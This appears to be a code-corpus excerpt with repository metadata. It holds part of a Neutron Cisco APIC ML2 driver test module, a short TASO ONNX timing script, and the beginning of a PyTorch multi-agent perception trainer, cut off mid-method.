self.create_subnet( network_id=net['id'], cidr='10.0.0.0/24', ip_version=4, is_admin_context=True) host_arg = {'binding:host_id': 'h2'} with self.port(subnet=sub, tenant_id='anothertenant', device_owner='compute:', device_id='someid', arg_list=(portbindings.HOST_ID,), **host_arg) as p1: p1 = p1['port'] self.assertEqual(net['id'], p1['network_id']) # We need the db_plugin to get invoked from the code being # tested. However, this was earlier mocked out in the setup, # hence we reset it here. self.driver.db_plugin._device_to_port_id = ( self.actual_core_plugin._device_to_port_id) self.driver.db_plugin.get_bound_port_context = ( self.actual_core_plugin.get_bound_port_context) self.driver.db_plugin.get_agents = ( self.actual_core_plugin.get_agents) self.driver.db_plugin.create_or_update_agent = ( self.actual_core_plugin.create_or_update_agent) self.driver._is_nat_enabled_on_ext_net = mock.Mock() self.driver._is_connected_to_ext_net = mock.Mock() self.driver.agent_type = 'Open vSwitch agent' details = self.driver.get_gbp_details( ctx, device='tap%s' % p1['id'], host='h1') host_snat_ips = details['host_snat_ips'] self.assertEqual(0, len(host_snat_ips)) snat_ports = self.driver.db_plugin.get_ports( ctx, filters={'name': [acst.HOST_SNAT_POOL_PORT], 'network_id': [snat_network_id], 'device_id': ['h1']}) self.assertEqual(0, len(snat_ports)) ipms = details['ip_mapping'] self.assertEqual(0, len(ipms)) def _create_snat_network(self, ctx, tenant_id): args = {'network': {'name': mocked.APIC_NETWORK_HOST_SNAT + '-name', 'admin_state_up': True, 'shared': True, 'status': n_constants.NET_STATUS_ACTIVE, 'tenant_id': tenant_id, 'router:external': True}} db_net = self.driver.db_plugin.create_network(ctx, args) net_ctx = self._get_network_context(self.actual_core_plugin, ctx.tenant_id, db_net['id'], TEST_SEGMENT1, external=True) self.driver.create_network_postcommit(net_ctx) return db_net, net_ctx def _snat_mock_setup(self, tenant_id): self.driver._is_edge_nat = mock.Mock(return_value=True) self.driver._is_pre_existing = mock.Mock(return_value=False) self.driver.apic_manager.apic.fvTenant.name = mock.Mock( return_value=tenant_id) # We need the db_plugin to get invoked from the code being # tested. However, this was earlier mocked out in the setup, # hence we reset it here. self.driver.db_plugin._device_to_port_id = ( self.actual_core_plugin._device_to_port_id) self.driver.db_plugin.get_bound_port_context = ( self.actual_core_plugin.get_bound_port_context) self.driver.db_plugin.get_agents = ( self.actual_core_plugin.get_agents) self.driver.db_plugin.create_or_update_agent = ( self.actual_core_plugin.create_or_update_agent) self.driver._is_nat_enabled_on_ext_net = mock.Mock() self.driver._is_connected_to_ext_net = mock.Mock() self.driver.agent_type = 'Open vSwitch agent' def test_1_snat_ip_created_for_vrf_edge_nat(self): # This test case is more of a functional test and should be revisited. TEST_TENANT_ID1 = 'onetenant' TEST_TENANT_ID2 = 'anothertenant' self._snat_mock_setup(TEST_TENANT_ID1) ctx = context.get_admin_context() agent = {'host': 'h1'} agent.update(AGENT_CONF) self.actual_core_plugin.create_or_update_agent(ctx, agent) db_net, net_ctx = self._create_snat_network(ctx, TEST_TENANT_ID1) snat_networks = self.driver.db_plugin.get_networks( ctx, filters={'name': [self.driver._get_snat_db_network_name( db_net)]}) snat_network_id = snat_networks[0]['id'] net = self.create_network( tenant_id=TEST_TENANT_ID1, expected_res_status=201, shared=True, is_admin_context=True)['network'] sub = self.create_subnet( network_id=net['id'], cidr='10.0.0.0/24', ip_version=4, is_admin_context=True) host_arg = {'binding:host_id': 'h2'} hcidr = self.driver.apic_manager.ext_net_dict[ db_net['name']]['host_pool_cidr'] # Create port with a different tenant with self.port(subnet=sub, tenant_id=TEST_TENANT_ID2, device_owner='compute:', device_id='someid', arg_list=(portbindings.HOST_ID,), **host_arg) as p1: port1 = p1['port'] self.assertEqual(net['id'], port1['network_id']) details = self.driver.get_snat_ip_for_vrf(ctx, TEST_TENANT_ID1, db_net) # Verify that the port has an SNAT IP, which is # allocated in the SNAT network tenant ID self.assertEqual(db_net['name'], details['external_segment_name']) self._check_ip_in_cidr(details['host_snat_ip'], hcidr) self.assertEqual('192.168.0.1', details['gateway_ip']) self.assertEqual( netaddr.IPNetwork(mocked.HOST_POOL_CIDR).prefixlen, details['prefixlen']) snat_ports = self.driver.db_plugin.get_ports( ctx, filters={'name': [acst.HOST_SNAT_POOL_PORT], 'network_id': [snat_network_id], 'device_id': [TEST_TENANT_ID1]}) self.assertEqual(1, len(snat_ports)) # Simulate a second event on the same host with the same VRF for # the same external network to check if the earlier allocated SNAT # IP is returned with self.port(subnet=sub, tenant_id=TEST_TENANT_ID2, device_owner='compute:', device_id='someid', arg_list=(portbindings.HOST_ID,), **host_arg) as p2: port2 = p2['port'] self.assertEqual(net['id'], port2['network_id']) details = self.driver.get_snat_ip_for_vrf(ctx, TEST_TENANT_ID1, db_net) self.assertEqual(db_net['name'], details['external_segment_name']) self._check_ip_in_cidr(details['host_snat_ip'], hcidr) self.assertEqual('192.168.0.1', details['gateway_ip']) self.assertEqual( netaddr.IPNetwork(mocked.HOST_POOL_CIDR).prefixlen, details['prefixlen']) snat_ports = self.driver.db_plugin.get_ports( ctx, filters={'name': [acst.HOST_SNAT_POOL_PORT], 'network_id': [snat_network_id], 'device_id': [TEST_TENANT_ID1]}) self.assertEqual(1, len(snat_ports)) # Now simulate event of a second host with same VRF host_arg = {'binding:host_id': 'h2'} with self.port(subnet=sub, tenant_id=TEST_TENANT_ID2, device_owner='compute:', device_id='someid', arg_list=(portbindings.HOST_ID,), **host_arg) as p3: port3 = p3['port'] self.assertEqual(net['id'], port3['network_id']) details = self.driver.get_snat_ip_for_vrf(ctx, TEST_TENANT_ID1, db_net) self.assertEqual(db_net['name'], details['external_segment_name']) self._check_ip_in_cidr(details['host_snat_ip'], hcidr) self.assertEqual('192.168.0.1', details['gateway_ip']) self.assertEqual( netaddr.IPNetwork(mocked.HOST_POOL_CIDR).prefixlen, details['prefixlen']) snat_ports = self.driver.db_plugin.get_ports( ctx, filters={'name': [acst.HOST_SNAT_POOL_PORT], 'network_id': [snat_network_id], 'device_id': [TEST_TENANT_ID1]}) self.assertEqual(1, len(snat_ports)) snat_ports = self.driver.db_plugin.get_ports( ctx, filters={'name': [acst.HOST_SNAT_POOL_PORT], 'network_id': [snat_network_id]}) self.assertEqual(1, len(snat_ports)) self.driver.delete_network_postcommit(net_ctx) snat_ports = self.driver.db_plugin.get_ports( ctx, filters={'name': [acst.HOST_SNAT_POOL_PORT], 'network_id': [snat_network_id]}) self.assertEqual(0, len(snat_ports)) snat_networks = self.driver.db_plugin.get_networks( ctx, filters={'name': [self.driver._get_snat_db_network_name( db_net)]}) self.assertEqual(0, len(snat_networks)) subnets = self.driver.db_plugin.get_subnets( ctx, filters={'name': [acst.HOST_SNAT_POOL]}) self.assertEqual(0, len(subnets)) def test_2_snat_ips_created_for_2_vrfs_edge_nat(self): # This test case is more of a functional test and should be revisited. TEST_TENANT_ID1 = 'onetenant' TEST_TENANT_ID2 = 'anothertenant' self._snat_mock_setup(TEST_TENANT_ID1) ctx = context.get_admin_context() agent = {'host': 'h1'} agent.update(AGENT_CONF) self.actual_core_plugin.create_or_update_agent(ctx, agent) db_net, net_ctx = self._create_snat_network(ctx, TEST_TENANT_ID1) snat_networks = self.driver.db_plugin.get_networks( ctx, filters={'name': [self.driver._get_snat_db_network_name( db_net)]}) snat_network_id = snat_networks[0]['id'] net = self.create_network( tenant_id=TEST_TENANT_ID1, expected_res_status=201, shared=True, is_admin_context=True)['network'] sub = self.create_subnet( network_id=net['id'], cidr='10.0.0.0/24', ip_version=4, is_admin_context=True) host_arg = {'binding:host_id': 'h2'} # Create port with a different tenant with self.port(subnet=sub, tenant_id=TEST_TENANT_ID2, device_owner='compute:', device_id='someid', arg_list=(portbindings.HOST_ID,), **host_arg) as p1: port1 = p1['port'] self.assertEqual(net['id'], port1['network_id']) self.driver.apic_manager.apic.fvTenant.name = mock.Mock( return_value=TEST_TENANT_ID2) details = self.driver.get_snat_ip_for_vrf(ctx, TEST_TENANT_ID2, db_net) # Verify that the port has an SNAT IP, which is # allocated in the SNAT network tenant ID self.assertEqual(db_net['name'], details['external_segment_name']) hcidr = self.driver.apic_manager.ext_net_dict[ db_net['name']]['host_pool_cidr'] self._check_ip_in_cidr( details['host_snat_ip'], hcidr) self.assertEqual('192.168.0.1', details['gateway_ip']) self.assertEqual( netaddr.IPNetwork(mocked.HOST_POOL_CIDR).prefixlen, details['prefixlen']) snat_ports = self.driver.db_plugin.get_ports( ctx, filters={'name': [acst.HOST_SNAT_POOL_PORT], 'network_id': [snat_network_id], 'device_id': [TEST_TENANT_ID2]}) self.assertEqual(1, len(snat_ports)) # Simulate a second event on the same host with the a different VRF # for the same external network to check if the earlier allocated # SNAT IP is returned with self.port(subnet=sub, tenant_id=TEST_TENANT_ID1, device_owner='compute:', device_id='someid', arg_list=(portbindings.HOST_ID,), **host_arg) as p2: port2 = p2['port'] self.assertEqual(net['id'], port2['network_id']) self.driver.apic_manager.apic.fvTenant.name = mock.Mock( return_value=TEST_TENANT_ID1) details = self.driver.get_snat_ip_for_vrf(ctx, TEST_TENANT_ID1, db_net) self.assertEqual(db_net['name'], details['external_segment_name']) self._check_ip_in_cidr( details['host_snat_ip'], hcidr) self.assertEqual('192.168.0.1', details['gateway_ip']) self.assertEqual( netaddr.IPNetwork(mocked.HOST_POOL_CIDR).prefixlen, details['prefixlen']) snat_ports = self.driver.db_plugin.get_ports( ctx, filters={'name': [acst.HOST_SNAT_POOL_PORT], 'network_id': [snat_network_id], 'device_id': [TEST_TENANT_ID1]}) self.assertEqual(1, len(snat_ports)) # Now simulate event of a second host with same VRF host_arg = {'binding:host_id': 'h2'} with self.port(subnet=sub, tenant_id=TEST_TENANT_ID2, device_owner='compute:', device_id='someid', arg_list=(portbindings.HOST_ID,), **host_arg) as p3: port3 = p3['port'] self.assertEqual(net['id'], port3['network_id']) self.driver.apic_manager.apic.fvTenant.name = mock.Mock( return_value=TEST_TENANT_ID2) details = self.driver.get_snat_ip_for_vrf(ctx, TEST_TENANT_ID2, db_net) self.assertEqual(db_net['name'], details['external_segment_name']) self._check_ip_in_cidr( details['host_snat_ip'], hcidr) self.assertEqual('192.168.0.1', details['gateway_ip']) self.assertEqual( netaddr.IPNetwork(mocked.HOST_POOL_CIDR).prefixlen, details['prefixlen']) snat_ports = self.driver.db_plugin.get_ports( ctx, filters={'name': [acst.HOST_SNAT_POOL_PORT], 'network_id': [snat_network_id], 'device_id': [TEST_TENANT_ID2]}) self.assertEqual(1, len(snat_ports)) snat_ports = self.driver.db_plugin.get_ports( ctx, filters={'name': [acst.HOST_SNAT_POOL_PORT], 'network_id': [snat_network_id]}) self.assertEqual(2, len(snat_ports)) self.driver.delete_network_postcommit(net_ctx) snat_ports = self.driver.db_plugin.get_ports( ctx, filters={'name': [acst.HOST_SNAT_POOL_PORT], 'network_id': [snat_network_id]}) self.assertEqual(0, len(snat_ports)) snat_networks = self.driver.db_plugin.get_networks( ctx, filters={'name': [self.driver._get_snat_db_network_name( db_net)]}) self.assertEqual(0, len(snat_networks)) subnets = self.driver.db_plugin.get_subnets( ctx, filters={'name': [acst.HOST_SNAT_POOL]}) self.assertEqual(0, len(subnets)) def test_create_external_network_postcommit(self): ctx = context.get_admin_context() args = {'network': {'name': mocked.APIC_NETWORK_HOST_SNAT + '-name', 'admin_state_up': True, 'shared': True, 'tenant_id': 'onetenant', 'status': n_constants.NET_STATUS_ACTIVE}} db_net = self.driver.db_plugin.create_network(ctx, args) net_ctx = self._get_network_context(self.actual_core_plugin, ctx.tenant_id, db_net['id'], TEST_SEGMENT1, external=True) self.driver.create_network_postcommit(net_ctx) snat_networks = self.driver.db_plugin.get_networks( ctx, filters={'name': [self.driver._get_snat_db_network_name(db_net)]}) snat_net_id = snat_networks[0]['id'] self.assertEqual(1, len(snat_networks)) seg = ml2_db.get_network_segments(ctx.session, snat_net_id) self.assertEqual(1, len(seg)) subnets = self.driver.db_plugin.get_subnets( ctx, filters={'name': [acst.HOST_SNAT_POOL]}) self.assertEqual(1, len(subnets)) self.driver.delete_network_postcommit(net_ctx) snat_networks = self.driver.db_plugin.get_networks( ctx, filters={'name': [self.driver._get_snat_db_network_name(db_net)]}) self.assertEqual(0, len(snat_networks)) seg = ml2_db.get_network_segments(ctx.session, snat_net_id) self.assertEqual(0, len(seg)) subnets = self.driver.db_plugin.get_subnets( ctx, filters={'name': [acst.HOST_SNAT_POOL]}) self.assertEqual(0, len(subnets)) class TestCiscoApicMechDriverNoFabricL3(TestApicML2IntegratedPhysicalNode): def setUp(self, service_plugins=None, ml2_opts=None): # Mock out HA scheduler notifcations # (irrelevant exceptions if it's not) self._update_notify = mock.patch( 'neutron.db.l3_hascheduler_db._notify_l3_agent_ha_port_update') self._update_notify.start() # Configure reference L3 implementation, which # disables routing and subnet configuration in the ACI fabric super(TestCiscoApicMechDriverNoFabricL3, self).setUp( service_plugins={ 'L3_ROUTER_NAT': 'router', 'flavors_plugin_name': 'neutron.services.flavors.' 'flavors_plugin.FlavorsPlugin'}) def tearDown(self): self._update_notify.stop() super(TestCiscoApicMechDriverNoFabricL3, self).tearDown() def test_create_subnet_no_l3(self): ctx = context.get_admin_context() tenant1 = self._tenant(neutron_tenant='onetenant') app_prof1 = self._app_profile(neutron_tenant='onetenant') self.mgr.ensure_bd_created_on_apic = mock.Mock() self._register_agent('h1', agent_cfg=AGENT_CONF_OPFLEX) # Create a network with a subnet, then add # a port to the subnet and bind it to a host # (e.g. as if Nova did a port binding for a VM port) net = self.create_network( tenant_id='onetenant', is_admin_context=True)['network'] sub = self.create_subnet( network_id=net['id'], cidr='192.168.0.0/24', ip_version=4, is_admin_context=True) with self.port(subnet=sub, tenant_id='onetenant') as p1: p1 = p1['port'] self.mgr.ensure_bd_created_on_apic.assert_called_once_with( tenant1, mock.ANY, ctx_owner=mock.ANY, ctx_name=self._network_vrf_name(net_name=net['id']), transaction='transaction', unicast_route=False) # bind to VM-host self._bind_port_to_host(p1['id'], 'h1') bseg_p1, bdriver = self._get_bound_seg(p1['id']) self.assertEqual(bseg_p1['network_type'], 'opflex') self.assertEqual('cisco_apic_ml2', bdriver) # We shouldn't be using a PhysDom for opflex network # type ports -- make sure we didn't use one self.mgr.ensure_path_created_for_port.assert_not_called() # Create a router and add an interface from # the subnet we created above. Make explicit call for # port binding for the newly created router port as well. router = self.create_router(api=self.ext_api, tenant_id='onetenant', is_admin_context=True)['router'] self.l3_plugin.add_router_interface(ctx, router['id'], {'subnet_id': sub['subnet']['id']}) self.mgr.ensure_subnet_created_on_apic.assert_not_called() router_port = self.driver.db_plugin.get_ports( ctx, filters={'device_id': [router['id']], 'network_id': [net['id']]})[0] self.mgr.ensure_path_created_for_port.reset_mock() # Bind the port to a host that's not running OpFlex. self._bind_port_to_host(p1['id'], 'lb-app-01') self.mgr.ensure_path_created_for_port.assert_called() bseg_p1, bdriver = self._get_bound_seg(p1['id']) self.assertEqual(1, len(self._query_dynamic_seg(net['id']))) self.mgr.ensure_path_created_for_port.assert_called_once_with( tenant1, net['id'], 'lb-app-01', bseg_p1['segmentation_id'], bd_name=None, app_profile_name=app_prof1, transaction=mock.ANY) self.l3_plugin.remove_router_interface(ctx, router['id'], {'port_id': router_port['id']}) self.delete_port(p1['id'], tenant_id=p1['tenant_id']) self.assertEqual(0, len(self._query_dynamic_seg(net['id']))) self.mgr.ensure_path_deleted_for_port.assert_called_once_with( tenant1, net['id'], 'lb-app-01', app_profile_name=app_prof1) def test_no_l3_in_gbp_details(self): self._register_agent('h1') self.driver._get_tenant_vrf = mock.MagicMock() net = self.create_network( tenant_id='onetenant', expected_res_status=201, shared=True, is_admin_context=True)['network'] sub = self.create_subnet( network_id=net['id'], cidr='192.168.0.0/24', ip_version=4, is_admin_context=True) with self.port(subnet=sub, tenant_id='anothertenant') as p1: p1 = p1['port'] self.assertEqual(net['id'], p1['network_id']) # Bind port to trigger path binding self._bind_port_to_host(p1['id'], 'h1') self.driver._add_ip_mapping_details = mock.Mock() details = self._get_gbp_details(p1['id'], 'h1') self.assertEqual(self._tenant(neutron_tenant='onetenant'), details['ptg_tenant']) self.assertEqual(self._app_profile(neutron_tenant='onetenant'), details['app_profile_name']) self.assertEqual('onetenant', details['tenant_id']) self.assertTrue(details['enable_dhcp_optimization']) self.assertEqual(1, len(details['subnets'])) self.assertEqual(sub['subnet']['id'], details['subnets'][0]['id']) self.assertIsNone(details.get('ip_mapping')) self.assertIsNone(details.get('floating_ip')) self.assertIsNone(details.get('host_snat_ips')) self.driver._get_tenant_vrf.assert_called_with(net['tenant_id']) def test_phys_port_on_shared_public_opflex_network(self): pass class TestExtensionAttributes(ApicML2IntegratedTestBase): def test_route_leak_network_lifecycle(self): net = self.create_network( tenant_id='onetenant', expected_res_status=201)['network'] self.assertEqual(False, net[ALLOW_ROUTE_LEAK]) net = self.create_network( tenant_id='onetenant', expected_res_status=201, **{'apic:allow_route_leak': 'True'})['network'] self.assertEqual(True, net[ALLOW_ROUTE_LEAK]) # update is not allowed self.update_network( net['id'], expected_res_status=400, **{'apic:allow_route_leak': 'False'}) self.assertEqual(True, net[ALLOW_ROUTE_LEAK]) self.delete_network(net['id'], tenant_id=net['tenant_id']) session = db_api.get_session() extn = extn_db.ExtensionDbMixin() self.assertFalse(extn.get_network_extn_db(session, net['id'])) def test_router_lifecycle(self): session = db_api.get_session() extn = extn_db.ExtensionDbMixin() # default value rtr0 = self.create_router(api=self.ext_api, expected_res_status=201)['router'] self.assertEqual(None, rtr0[USE_ROUTING_CONTEXT]) self.assertFalse(extn.get_router_extn_db(session, rtr0['id'])) # bad value self.create_router(api=self.ext_api, expected_res_status=400, **{'apic:use_routing_context': '12345'}) self.create_router(api=self.ext_api, expected_res_status=500, **{'apic:use_routing_context': '39266936-70b8-437b-b779-74ae099ff0db'}) # good value rtr1 = self.create_router(api=self.ext_api, expected_res_status=201, **{'apic:use_routing_context': rtr0['id']} )['router'] self.assertEqual(rtr0['id'], rtr1[USE_ROUTING_CONTEXT]) self.assertEqual(extn.get_router_extn_db(session, rtr1['id']), {'apic:use_routing_context': rtr0['id']}) # can't delete rtr0 now self.delete_router(rtr0['id'], api=self.ext_api, expected_res_status=500) # update is not allowed self.update_router( rtr1['id'], api=self.ext_api, expected_res_status=400, **{'apic:use_routing_context': rtr1['id']}) # deletion self.delete_router(rtr1['id'], api=self.ext_api, expected_res_status=204) # can delete rtr0 now after rtr1 is gone self.delete_router(rtr0['id'], api=self.ext_api, expected_res_status=204) self.assertFalse(extn.get_router_extn_db(session, rtr1['id'])) class FakeNetworkContext(object): """To generate network context for testing purposes only.""" def __init__(self, network, segments): self._network = network self._segments = segments self._plugin_context = mock.Mock() @property def current(self): return self._network @property def network_segments(self): return self._segments class FakeSubnetContext(object): """To generate subnet context for testing purposes only.""" def __init__(self, subnet, network): self._subnet = subnet self._network = network self._plugin = mock.Mock() self._plugin_context = mock.Mock() self._plugin.get_network.return_value = network.current @property def current(self): return self._subnet @property def network(self): return self._network class FakePortContext(object): """To generate port context for testing purposes only.""" def __init__(self, port, network): self._port = port self._network = network self._plugin = mock.Mock() self._plugin_context = mock.Mock() self._plugin.get_ports.return_value = [] if network.network_segments: self._bound_segment = network.network_segments[0] else: self._bound_segment = None self.current = self._port self.original = self._port self.network = self._network self.top_bound_segment = self._bound_segment self.bottom_bound_segment = self._bound_segment self.host = self._port.get(portbindings.HOST_ID) self.original_host = None self.original_top_bound_segment = None self.original_bottom_bound_segment = None self._binding = mock.Mock() self._binding.segment = self._bound_segment def set_binding(self, segment_id, vif_type, cap_port_filter): pass

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false

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null

0

1

0

1

0

null

0

7

7d263b24f95b58b7b22856e2e314d24bf4c2b06b

377

py

Python

taso-examples/debug.py

kooyunmo/taso-torch

fcc833c9561c7d315875ad25059860240b4b08da

[ "Apache-2.0" ]

null

taso-examples/debug.py

kooyunmo/taso-torch

fcc833c9561c7d315875ad25059860240b4b08da

[ "Apache-2.0" ]

null

taso-examples/debug.py

kooyunmo/taso-torch

fcc833c9561c7d315875ad25059860240b4b08da

[ "Apache-2.0" ]

null

import taso import onnx graph = taso.load_onnx('onnx_models/resnext50.onnx') print("graph.run_time(): {}ms".format(graph.run_time())) print("graph.run_forward(): {}ms".format(graph.run_forward())) graph = taso.load_onnx('onnx_models/resnext50_taso.onnx') print("graph.run_time(): {}ms".format(graph.run_time())) print("graph.run_forward(): {}ms".format(graph.run_forward()))

34.272727

62

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0.011204

0.05305

377

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null

0

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0

8

adf63c30e8b4f72290a437effe7310d8c445a123

73,038

py

Python

ptsemseg/trainer.py

PhyllisH/MultiAgentPerception

f73b8131cd4314c42f09d3502bd63d434a4ec219

[ "MIT" ]

30

2020-06-16T00:19:19.000Z

2022-03-18T19:37:48.000Z

ptsemseg/trainer.py

hyzcn/MultiAgentPerception

f73b8131cd4314c42f09d3502bd63d434a4ec219

[ "MIT" ]

2

2021-11-08T01:46:18.000Z

2021-11-18T06:45:06.000Z

ptsemseg/trainer.py

hyzcn/MultiAgentPerception

f73b8131cd4314c42f09d3502bd63d434a4ec219

[ "MIT" ]

8

2020-07-09T03:08:45.000Z

2022-03-24T16:07:29.000Z

import os import yaml import time import shutil import torch import random import argparse import numpy as np import copy import timeit import statistics import datetime from torch.utils import data from tqdm import tqdm import cv2 from ptsemseg.process_img import generate_noise from ptsemseg.models import get_model from ptsemseg.loss import get_loss_function from ptsemseg.loader import get_loader from ptsemseg.utils import get_logger, init_weights from ptsemseg.metrics import runningScore, averageMeter from ptsemseg.augmentations import get_composed_augmentations from ptsemseg.schedulers import get_scheduler from ptsemseg.optimizers import get_optimizer from ptsemseg.utils import convert_state_dict from tensorboardX import SummaryWriter class Trainer_LearnWhen2Com(object): def __init__(self, cfg, writer, logger, model, loss_fn, trainloader, valloader, optimizer, scheduler, device): self.cfg = cfg self.writer = writer self.logger = logger self.model = model self.trainloader = trainloader self.valloader = valloader self.optimizer = optimizer self.scheduler = scheduler self.loss_fn = loss_fn self.n_classes = 11 self.MO_flag = self.cfg['model']['multiple_output'] self.running_metrics_val = runningScore(self.n_classes) self.device = device if 'commun_label' in self.cfg["data"]: self.if_commun_label = cfg["data"]['commun_label'] else: self.if_commun_label = 'None' def train(self): start_iter = 0 # resume the training if self.cfg["training"]["resume"] is not None: if os.path.isfile(self.cfg["training"]["resume"]): self.logger.info( "Loading model and optimizer from checkpoint '{}'".format(cfg["training"]["resume"]) ) checkpoint = torch.load(self.cfg["training"]["resume"]) self.model.load_state_dict(checkpoint["model_state"]) self.optimizer.load_state_dict(checkpoint["optimizer_state"]) self.scheduler.load_state_dict(checkpoint["scheduler_state"]) start_iter = checkpoint["epoch"] self.logger.info( "Loaded checkpoint '{}' (iter {})".format( self.cfg["training"]["resume"], checkpoint["epoch"] ) ) else: self.logger.info("No checkpoint found at '{}'".format(self.cfg["training"]["resume"])) val_loss_meter = averageMeter() time_meter = averageMeter() best_iou = -100.0 i = start_iter flag = True # Training while i <= self.cfg["training"]["train_iters"] and flag: for data_list in self.trainloader: # iteration timer i += 1 # load data from dataloader if self.if_commun_label != 'None': images_list, labels_list, commun_label = data_list else: images_list, labels_list = data_list # image and labels list 2 tensor labels = labels_list[0] images = torch.cat(tuple(images_list), dim=1) # timer started start_ts = time.time() self.scheduler.step() self.model.train() # matters for batchnorm/dropout # from cpu to gpu images = images.to(self.device) labels = labels.to(self.device) if self.if_commun_label != 'None': commun_label = commun_label.to(self.device) # clean the optimizer self.optimizer.zero_grad() # model inference outputs, log_action, action_argmax = self.model(images, training=True) # compute loss loss = self.loss_fn(input=outputs, target=labels) # compute the gradient for each variable loss.backward() # update the weight self.optimizer.step() # compute the used time time_meter.update(time.time() - start_ts) # Process display on screen if (i + 1) % self.cfg["training"]["print_interval"] == 0: fmt_str = "Iter [{:d}/{:d}] Loss: {:.4f} Time/Image: {:.4f}" print_str = fmt_str.format( i + 1, self.cfg["training"]["train_iters"], loss.item(), time_meter.avg / self.cfg["training"]["batch_size"], ) print(print_str) self.logger.info(print_str) self.writer.add_scalar("loss/train_loss", loss.item(), i + 1) time_meter.reset() # Validation (During training) if i % self.cfg["training"]["val_interval"] == 0 or i == self.cfg["training"]["train_iters"]: self.model.eval() with torch.no_grad(): total = 0 correct_when = 0 correct_who = 0 for i_val, data_list in tqdm(enumerate(self.valloader)): if self.if_commun_label != 'None': images_val_list, labels_val_list, commun_label = data_list else: images_val_list, labels_val_list = data_list labels_val = labels_val_list[0] images_val = torch.cat(tuple(images_val_list), dim=1) labels_val = labels_val.to(self.device) if self.if_commun_label != 'None': commun_label = commun_label.to(self.device) images_val = images_val.to(self.device) gt = labels_val.data.cpu().numpy() # image loss outputs, _, action_argmax = self.model(images_val, training=True) val_loss = self.loss_fn(input=outputs, target=labels_val) pred = outputs.data.max(1)[1].cpu().numpy() action_argmax = torch.squeeze(action_argmax) # compute action accuracy if self.if_commun_label != 'None': self.running_metrics_val.update_div(self.if_commun_label, gt, pred, commun_label) self.running_metrics_val.update_selection(self.if_commun_label, commun_label, action_argmax) self.running_metrics_val.update(gt, pred) val_loss_meter.update(val_loss.item()) if self.if_commun_label != 'None': when2com_acc, who2com_acc = self.running_metrics_val.get_selection_accuracy() print('Validation when2com accuracy:{}'.format(when2com_acc)) print('Validation who2com accuracy:{}'.format(who2com_acc)) self.writer.add_scalar("val_metrics/when_com_accuacy", when2com_acc, i) self.writer.add_scalar("val_metrics/who_com_accuracy", who2com_acc, i) else: when2com_acc = 0 who2com_acc = 0 self.writer.add_scalar("loss/val_loss", val_loss_meter.avg, i) self.logger.info("Iter %d Loss: %.4f" % (i, val_loss_meter.avg)) scorers = [self.running_metrics_val] for idx, scorer in enumerate(scorers): score, class_iou = scorer.get_scores() for k, v in score.items(): self.logger.info("{}: {}".format(k, v)) self.writer.add_scalar("head_{}_val_metrics/{}".format(idx, k), v, i) for k, v in class_iou.items(): self.logger.info("{}: {}".format(k, v)) self.writer.add_scalar("head_{}_val_metrics/cls_{}".format(idx, k), v, i) # print print('Normal') score, class_iou = self.running_metrics_val.get_only_normal_scores() self.running_metrics_val.print_score(self.n_classes, score, class_iou) print('Noise') score, class_iou = self.running_metrics_val.get_only_noise_scores() self.running_metrics_val.print_score(self.n_classes, score, class_iou) print("Overall") score, class_iou = self.running_metrics_val.get_scores() self.running_metrics_val.print_score(self.n_classes, score, class_iou) val_loss_meter.reset() self.running_metrics_val.reset() if score["Mean IoU : \t"] >= best_iou: best_iou = score["Mean IoU : \t"] state = { "epoch": i, "model_state": self.model.state_dict(), "optimizer_state": self.optimizer.state_dict(), "scheduler_state": self.scheduler.state_dict(), "best_iou": best_iou, } save_path = os.path.join( self.writer.file_writer.get_logdir(), "{}_{}_best_model.pkl".format(self.cfg["model"]["arch"], self.cfg["data"]["dataset"]), ) torch.save(state, save_path) if i == self.cfg["training"]["train_iters"]: flag = False break return save_path def load_weight(self, model_path): state = convert_state_dict(torch.load(model_path)["model_state"]) self.model.load_state_dict(state, strict=False) def evaluate(self, testloader, inference_mode='activated'): # "val_split" running_metrics = runningScore(self.n_classes) # Setup Model self.model.eval() self.model.to(self.device) for i, data_list in enumerate(testloader): if self.if_commun_label: images_list, labels_list, commun_label = data_list commun_label = commun_label.to(self.device) else: images_list, labels_list = data_list # multi-view inputs images = torch.cat(tuple(images_list), dim=1) # multiple output if self.MO_flag: labels = torch.cat(tuple(labels_list), dim=0) else: # single output labels = labels_list[0] images = images.to(self.device) outputs, _, action_argmax, _ = self.model(images, training=False, inference=inference_mode) pred = outputs.data.max(1)[1].cpu().numpy() gt = labels.numpy() # measurement results running_metrics.update(gt, pred) if self.if_commun_label: running_metrics.update_div(self.if_commun_label, gt, pred, commun_label) print('Normal') score, class_iou = running_metrics.get_only_normal_scores() running_metrics.print_score(self.n_classes, score, class_iou) print('Noise') score, class_iou = running_metrics.get_only_noise_scores() running_metrics.print_score(self.n_classes, score, class_iou) print("Overall") score, class_iou = running_metrics.get_scores() running_metrics.print_score(self.n_classes, score, class_iou) return score, class_iou class Trainer_LearnWho2Com(object): def __init__(self, cfg, writer, logger, model, loss_fn, trainloader, valloader, optimizer, scheduler, device): self.cfg = cfg self.writer = writer self.logger = logger self.model = model self.trainloader = trainloader self.valloader = valloader self.optimizer = optimizer self.scheduler = scheduler self.loss_fn = loss_fn self.MO_flag = self.cfg['model']['multiple_output'] self.n_classes = 11 self.running_metrics_val = runningScore(self.n_classes) self.device = device # some datasets have no labels for communication if 'commun_label' in self.cfg["data"]: self.if_commun_label = cfg["data"]['commun_label'] else: self.if_commun_label = 'None' def train(self): start_iter = 0 print('learnwho2com trainer') # resume the training if self.cfg["training"]["resume"] is not None: if os.path.isfile(self.cfg["training"]["resume"]): self.logger.info( "Loading model and optimizer from checkpoint '{}'".format(cfg["training"]["resume"]) ) checkpoint = torch.load(self.cfg["training"]["resume"]) self.model.load_state_dict(checkpoint["model_state"]) self.optimizer.load_state_dict(checkpoint["optimizer_state"]) self.scheduler.load_state_dict(checkpoint["scheduler_state"]) start_iter = checkpoint["epoch"] self.logger.info( "Loaded checkpoint '{}' (iter {})".format( self.cfg["training"]["resume"], checkpoint["epoch"] ) ) else: self.logger.info("No checkpoint found at '{}'".format(self.cfg["training"]["resume"])) val_loss_meter = averageMeter() time_meter = averageMeter() best_iou = -100.0 i = start_iter flag = True # Training while i <= self.cfg["training"]["train_iters"] and flag: for data_list in self.trainloader: # iteration timer i += 1 # load data from dataloader if self.if_commun_label != 'None': images_list, labels_list, commun_label = data_list else: images_list, labels_list = data_list # image and labels list 2 tensor labels = labels_list[0] images = torch.cat(tuple(images_list), dim=1) # timer started start_ts = time.time() self.scheduler.step() self.model.train() # matters for batchnorm/dropout # from cpu to gpu images = images.to(self.device) labels = labels.to(self.device) if self.if_commun_label != 'None': commun_label = commun_label.to(self.device) # clean the optimizer self.optimizer.zero_grad() 